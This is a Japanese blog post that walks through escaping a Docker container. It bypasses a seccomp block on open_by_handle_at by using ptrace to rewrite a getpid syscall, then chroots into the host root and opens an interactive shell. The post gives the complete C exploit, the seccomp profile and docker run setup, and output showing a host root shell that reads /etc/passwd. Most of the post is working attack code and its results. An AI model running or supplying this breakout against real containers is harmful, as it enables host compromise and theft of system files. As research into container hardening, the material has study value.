前回 は CAP_DAC_READ_SEARCH
が許可されている状態で open_by_handle_at
を利用することでホスト側のファイルを読み出したり、シェルを取得するなどした。
このとき、seccomp で open_by_handle_at
が禁止されている場合は Operation not permitted
で失敗する。
[root@b8bf54fb1c48 tmp]# ./a.out
failed to open_by_handle_at: Operation not permitted
しかし、このエントリ で書いたように、ptrace を使用することで seccomp による制限は回避することができる。
環境
今回は明示的に seccomp で open_by_handle_at
を拒否し、DAC_READ_SEARCH
を許可した Docker コンテナで試した。
$ cat seccomp.json | jq
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"name": "open_by_handle_at",
"action": "SCMP_ACT_ERRNO",
"args": []
}
]
}
$ docker run --rm -ti --cap-add=DAC_READ_SEARCH --security-opt seccomp=seccomp.json centos:7 /bin/bash
Breakout してみる
手順としては以下のようになる。
ptrace(2)
で親プロセスから子プロセスのシステムコールを監視するようにする- ホスト側からマウントされているファイルを
open(2)
で開く open_by_handle_at(2)
で/
を開く- このとき、
open_by_handle_at(2)
は seccomp で呼び出し禁止されるため、代わりにgetpid
を呼び出し、ptrace(2)
でopen_by_handle_at(2)
を呼び出すときのレジスタに変更にする fchdir()
とchroot()
を実行したあとにsystem("sh -i")
を呼び出す
open_by_handle_at(2) でコンテナから Break Out する と ptrace を使用して seccomp による制限を回避してみる で書いた内容を組み合わせるだけなので詳細は割愛する。
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <ctype.h>
#define _GNU_SOURCE
#define __USE_GNU
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <sys/signal.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <syscall.h>
#include <fcntl.h>
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die (const char *msg)
{
perror(msg);
exit(errno);
}
void attack()
{
int fd, mfd;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};
mfd = open("/etc/hosts", 0);
if (mfd == -1)
die("failed to open");
// fd = open_by_handle_at(mfd, (struct file_handle *)&root_h, 0);
fd = syscall(SYS_getpid, SYS_open_by_handle_at, mfd, (struct file_handle *)&root_h, 0);
if (fd == -1)
die("failed to open_by_handle_at");
fchdir(fd);
chroot(".");
system("sh -i");
close(fd);
}
int main()
{
int pid;
struct user_regs_struct regs;
switch( (pid = fork()) ) {
case -1: die("Failed fork");
case 0:
// 親プロセスにトレースさせる
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
// 一時停止
kill(getpid(), SIGSTOP);
attack();
return 0;
}
waitpid(pid, 0, 0);
while(1) {
int st;
// 子プロセスを再開する
ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
if (waitpid(pid, &st, __WALL) == -1) {
break;
}
if (!(WIFSTOPPED(st) && WSTOPSIG(st) == SIGTRAP)) {
break;
}
ptrace(PTRACE_GETREGS, pid, NULL, ®s);
printf("orig_rax = %lld\n", regs.orig_rax);
// syscall-enter-stop であればスキップ
if (regs.rax != -ENOSYS) {
continue;
}
// レジスタを変更する
if (regs.orig_rax == SYS_getpid) {
regs.orig_rax = regs.rdi;
regs.rdi = regs.rsi;
regs.rsi = regs.rdx;
regs.rdx = regs.r10;
regs.r10 = regs.r8;
regs.r8 = regs.r9;
regs.r9 = 0;
ptrace(PTRACE_SETREGS, pid, NULL, ®s);
}
}
return 0;
}
上記のコードを実行すると seccomp による open_by_handle_at
を回避しつつ、open_by_handle_at
を利用してホスト側へ Breakout できることが確認できる。
[root@b8bf54fb1c48 tmp]# ./a.out
orig_rax = 2
orig_rax = 2
orig_rax = 39
orig_rax = 304
orig_rax = 81
orig_rax = 81
orig_rax = 161
orig_rax = 161
orig_rax = 13
orig_rax = 13
orig_rax = 13
orig_rax = 13
orig_rax = 14
orig_rax = 14
orig_rax = 56
orig_rax = 56
orig_rax = 61
# whoami
root
# cat /etc/hostname
ubuntu-xenial
# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
vagrant:x:1000:1000:,,,:/home/vagrant:/bin/bash
ubuntu:x:1001:1001:Ubuntu:/home/ubuntu:/bin/bash
mysql:x:112:117:MySQL Server,,,:/nonexistent:/bin/false
colord:x:113:119:colord colour management daemon,,,:/var/lib/colord:/bin/false
haconiwa:x:114:120::/var/lib/haconiwa:/bin/false